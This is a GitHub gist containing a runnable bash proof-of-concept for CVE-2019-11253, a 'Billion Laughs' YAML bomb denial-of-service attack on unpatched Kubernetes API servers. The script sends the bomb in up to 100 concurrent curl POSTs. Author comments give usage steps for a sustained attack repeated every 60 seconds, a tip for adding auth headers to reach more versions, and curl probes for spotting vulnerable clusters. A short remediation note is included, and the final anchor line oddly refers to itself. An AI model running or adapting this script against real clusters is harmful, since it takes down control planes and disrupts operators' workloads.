Skip to content

Instantly share code, notes, and snippets.

@bgeesaman
Last active December 29, 2022 14:25
Show Gist options
  • Save bgeesaman/0e0349e94cd22c48bf14d8a9b7d6b8f2 to your computer and use it in GitHub Desktop.
Save bgeesaman/0e0349e94cd22c48bf14d8a9b7d6b8f2 to your computer and use it in GitHub Desktop.
CVE-2019-11253 Kubernetes API Server YAML Parsing Remote Denial of Service PoC aka "Billion Laughs"
#!/usr/bin/env bash
# CVE-2019-11253
# https://github.com/kubernetes/kubernetes/issues/83253
# Shout out: @raesene for poc collab, @iancoldwater + @mauilion for
# HONKing inspiration and other guidance.
# Description: In Kubernetes 1.13 and below, the default configuration
# is that system:anonymous can request a selfsubjectaccessreview
# via mechanisms such as "kubectl auth can-i". This request can
# include POSTed YAML, and just the act of trying to parse it causes
# excessive memory usage by the API server. Anywhere from about 10
# to 100 concurrent requests of this nature can overwhelm the API
# server's resources and cause it to become unresponsive to the point
# that the worker nodes and user's running kubectl will believe the
# control plane is offline. Since requests can last up to 60s by
# default before the timeout kicks in, sustaining the attack only
# requires between 10 and ~100 requests per minute.
# Recommendation: Update Kubernetes to a release that includes YAML
# parsing resource limits and limit direct, public access to API
# servers. See the above GH issue for details.
# This will work for Kubernetes 1.13 and below if not patched without
# requiring auth. It can be modified to send valid authentication
# headers and then work against all non-patched versions.
APISERVER="${1:-localhost}"
CONCURRENT="${2:-100}"
YAML="yaml_dos.yml"
# The data here doesn't really have to be a valid SAR request since
# the API server is DoSed just trying to parse it.
if [ ! -f $YAML ]; then
cat > $YAML <<EOF
apiVersion: authorization.k8s.io/v1
kind: SelfSubjectAccessReview
metadata:
name: yaml-dos
namespace: default
data:
a: &a ["HONK","HONK","HONK","HONK","HONK","HONK","HONK","HONK","HONK"]
b: &b [*a,*a,*a,*a,*a,*a,*a,*a,*a]
c: &c [*b,*b,*b,*b,*b,*b,*b,*b,*b]
d: &d [*c,*c,*c,*c,*c,*c,*c,*c,*c]
e: &e [*d,*d,*d,*d,*d,*d,*d,*d,*d]
f: &f [*e,*e,*e,*e,*e,*e,*e,*e,*e]
g: &g [*f,*f,*f,*f,*f,*f,*f,*f,*f]
h: &h [*g,*g,*g,*g,*g,*g,*g,*g,*g]
i: &i [*h,*h,*h,*h,*h,*h,*h,*h,*h]
j: &j [*i,*i,*i,*i,*i,*i,*i,*i,*i]
k: &k [*j,*j,*j,*j,*j,*j,*j,*j,*j]
l: &l [*l,*l,*l,*l,*l,*l,*l,*l,*l]
EOF
fi
echo "Sending billions of HONKs using a flock of ${CONCURRENT} flying geese to https://${APISERVER}..."
seq 1 ${CONCURRENT} | xargs -I{} -n 1 -P ${CONCURRENT} curl -sk -XPOST -H "Content-Type: application/yaml" --data-binary @"${YAML}" "https://${APISERVER}/apis/authorization.k8s.io/v1/selfsubjectaccessreviews"
@bgeesaman
Copy link
Author

bgeesaman commented Oct 20, 2019

Usage:

./poc.sh my.api.server.ip 100
Sending billions of HONKs using a flock of 100 flying geese to https://my.api.server.ip...

Monitor the CPU/RAM and health/availability of the API server in question. Keep running this every 60s to perform a sustained attack.

@bgeesaman
Copy link
Author

bgeesaman commented Oct 20, 2019

How to check for vulnerability without triggering the Denial of Service (1.13.7 shown):

curl -sk -XPOST -H "Content-Type: application/yaml" -d "" "https://my.api.server.ip/apis/authorization.k8s.io/v1/selfsubjectaccessreviews"
{
  "kind": "Status",
  "apiVersion": "v1",
  "metadata": {
    
  },
  "status": "Failure",
  "message": ".authorization.k8s.io \"\" is invalid: spec.resourceAttributes: Invalid value: \"null\": exactly one of nonResourceAttributes or resourceAttributes must be specified",
  "reason": "Invalid",
  "details": {
    "group": "authorization.k8s.io",
    "causes": [
      {
        "reason": "FieldValueInvalid",
        "message": "Invalid value: \"null\": exactly one of nonResourceAttributes or resourceAttributes must be specified",
        "field": "spec.resourceAttributes"
      }
    ]
  },
  "code": 422
}

The Error Code 422 message explains that the YAML was expected to have certain fields. This indicates the server did in fact try to parse what was sent. Use the value from https://my.api.server.ip/version on most clusters to know if the cluster is an un-patched version.

@bgeesaman
Copy link
Author

bgeesaman commented Oct 20, 2019

Checking K8s 1.14.6 and showing it is not available due to RBAC permissions preventing it anonymously:

$ curl -sk-XPOST -H "Content-Type: application/yaml" -d "" "https://my.api.server.ip/apis/authorization.k8s.io/v1/selfsubjectaccessreviews"
{
  "kind": "Status",
  "apiVersion": "v1",
  "metadata": {
    
  },
  "status": "Failure",
  "message": "selfsubjectaccessreviews.authorization.k8s.io is forbidden: User \"system:anonymous\" cannot create resource \"selfsubjectaccessreviews\" in API group \"authorization.k8s.io\" at the cluster scope",
  "reason": "Forbidden",
  "details": {
    "group": "authorization.k8s.io",
    "kind": "selfsubjectaccessreviews"
  },
  "code": 403
}

Kubernetes 1.14+ by default does not grant the ability to perform SelfSubjectAccessReviews and similar requests by system:anonymous. Again, see the Kubernetes Issue for the RBAC changes.

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment